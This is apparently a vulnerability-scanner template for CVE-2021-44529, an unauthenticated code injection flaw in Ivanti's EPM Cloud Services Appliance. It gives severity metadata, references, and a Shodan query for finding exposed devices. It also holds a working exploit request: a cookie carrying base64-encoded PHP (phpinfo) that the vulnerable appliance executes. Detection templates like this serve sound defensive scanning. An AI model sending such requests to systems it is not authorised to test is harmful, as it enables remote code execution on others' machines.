id: CVE-2021-44529 info: name: Ivanti EPM Cloud Services Appliance Code Injection author: duty_1g,phyr3wall,Tirtha severity: critical description: Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody). impact: | Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system. remediation: | Apply the latest security patches provided by Ivanti to mitigate this vulnerability. reference: - https://forums.ivanti.com/s/article/SA-2021-12-02 - https://twitter.com/Dinosn/status/1505273954478530569 - https://nvd.nist.gov/vuln/detail/CVE-2021-44529 - http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html - https://github.com/SYRTI/POC_to_review classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-44529 cwe-id: CWE-94 epss-score: 0.95621 epss-percentile: 0.99362 cpe: cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: ivanti product: endpoint_manager_cloud_services_appliance shodan-query: title:"LANDesk(R) Cloud Services Appliance" tags: cve2021,cve,ivanti,epm,csa,injection,packetstorm http: - raw: - | GET /client/index.php HTTP/1.1 Host: {{Hostname}} Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=; matchers-condition: and matchers: - type: word part: body words: - "phpinfo()" - "Cloud Services Appliance" condition: and - type: status status: - 200 # digest: 4b0a00483046022100b06aa91e93fa728e8a41a045b2854161d0eb822d82d915ecb9f2687386c4dc5d022100de776ca073ce694c73466b106bbbffc3cb0ba13af341d8763ed46690e75822dc:922c64590222798bb761d5b6d8e72950